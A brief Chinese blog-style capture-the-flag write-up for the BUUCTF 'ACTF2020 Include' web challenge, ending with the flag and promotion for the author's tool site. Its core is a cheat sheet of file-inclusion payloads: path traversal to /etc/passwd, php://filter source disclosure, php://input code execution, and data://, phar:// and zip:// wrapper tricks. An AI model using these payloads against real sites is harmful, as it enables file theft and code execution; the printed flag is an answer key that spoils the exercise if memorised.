buuctf WEB [ACTF2020 新生赛]Include writeup

随波逐流工作室—-探索前沿科技，分享最新软件。点击标题下蓝字“长弓三皮”关注，我们将为您提供有深度、有价值、有意思的阅读。

朋友们，现在只对常读和星标的公众号才展示大图推送，建议大家把长弓三皮“设为星标”，否则可能就看不到了啦！

作者：随波逐流

buuctf WEB

随波逐流

WriteUp

打开 [随波逐流]WEB安全工具访问

点击tip

地址栏提示文件包含

# LFI/RFI 文件包含?file=../../etc/passwd ?file=php://filter/read=convert.base64-encode/resource=index.php?file=php://input(POST提交php代码)?file=data://text/plain?file=phar://xxx.jpg/a?file=zip://xxx.zip%23shell.php?file=....//....//etc/passwd 双写绕过# 文件读取，伪协议可用?path=php://filter/read=convert.base64-encode/resource=flag.php?path=file:///etc/passwd

CTF2{bd450c05-1747-4c3a-8b12-5386232cf170}

公众号内输入

 搜索公众号+题目标题

可搜索到此文章

-------------------------------------------

软件发布网址： 随波逐流信息安全网

http://www.1o1o.xyz

微信公众号：长弓三皮

--------------------------------------------

你若喜欢，为“长弓三皮”点个赞和在看哦